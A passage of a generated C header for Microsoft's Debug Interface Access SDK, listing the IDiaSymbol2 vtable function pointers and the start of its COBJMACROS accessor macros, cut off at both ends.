[retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSymbol2 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSymbol2 * This,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSymbol2 * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( \n            IDiaSymbol2 * This,\n            /* [out] */ IDiaLineNumber **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSymbol2 * This,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSymbol2Vtbl;\n\n    interface IDiaSymbol2\n    {\n        CONST_VTBL struct IDiaSymbol2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSymbol2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSymbol2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSymbol2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSymbol2_get_symIndexId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_symTag(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) \n\n#define IDiaSymbol2_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaSymbol2_get_lexicalParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) \n\n#define IDiaSymbol2_get_classParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) \n\n#define IDiaSymbol2_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaSymbol2_get_dataKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) \n\n#define IDiaSymbol2_get_locationType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSymbol2_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSymbol2_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol2_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol2_get_registerId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSymbol2_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSymbol2_get_slot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_slot(This,pRetVal) ) \n\n#define IDiaSymbol2_get_volatileType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_constType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_unalignedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_access(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_access(This,pRetVal) ) \n\n#define IDiaSymbol2_get_libraryName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) \n\n#define IDiaSymbol2_get_platform(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_platform(This,pRetVal) ) \n\n#define IDiaSymbol2_get_language(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_language(This,pRetVal) ) \n\n#define IDiaSymbol2_get_editAndContinueEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) \n\n#define IDiaSymbol2_get_frontEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol2_get_frontEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol2_get_frontEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol2_get_backEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol2_get_backEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol2_get_backEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol2_get_sourceFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) \n\n#define IDiaSymbol2_get_unused(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unused(This,pRetVal) ) \n\n#define IDiaSymbol2_get_thunkOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol2_get_thisAdjust(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) \n\n#define IDiaSymbol2_get_virtualBaseOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) \n\n#define IDiaSymbol2_get_virtual(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) \n\n#define IDiaSymbol2_get_intro(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intro(This,pRetVal) ) \n\n#define IDiaSymbol2_get_pure(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pure(This,pRetVal) ) \n\n#define IDiaSymbol2_get_callingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) \n\n#define IDiaSymbol2_get_value(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_value(This,pRetVal) ) \n\n#define IDiaSymbol2_get_baseType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_token(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_token(This,pRetVal) ) \n\n#define IDiaSymbol2_get_timeStamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) \n\n#define IDiaSymbol2_get_guid(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_guid(This,pRetVal) ) \n\n#define IDiaSymbol2_get_symbolsFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) \n\n#define IDiaSymbol2_get_reference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_reference(This,pRetVal) ) \n\n#define IDiaSymbol2_get_count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_count(This,pRetVal) ) \n\n#define IDiaSymbol2_get_bitPosition(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) \n\n#define IDiaSymbol2_get_arrayIndexType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_packed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_packed(This,pRetVal) ) \n\n#define IDiaSymbol2_get_constructor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) \n\n#define IDiaSymbol2_get_overloadedOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) \n\n#define IDiaSymbol2_get_nested(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_nested(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasNestedTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasAssignmentOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasCastOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) \n\n#define IDiaSymbol2_get_scoped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) \n\n#define IDiaSymbol2_get_virtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol2_get_indirectVirtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol2_get_virtualBasePointerOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) \n\n#define IDiaSymbol2_get_virtualTableShape(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) \n\n#define IDiaSymbol2_get_lexicalParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_classParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_typeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_arrayIndexTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_virtualTableShapeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSymbol2_get_function(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_function(This,pRetVal) ) \n\n#define IDiaSymbol2_get_managed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_managed(This,pRetVal) ) \n\n#define IDiaSymbol2_get_msil(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_msil(This,pRetVal) ) \n\n#define IDiaSymbol2_get_virtualBaseDispIndex(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) \n\n#define IDiaSymbol2_get_undecoratedName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) \n\n#define IDiaSymbol2_get_age(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_age(This,pRetVal) ) \n\n#define IDiaSymbol2_get_signature(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_signature(This,pRetVal) ) \n\n#define 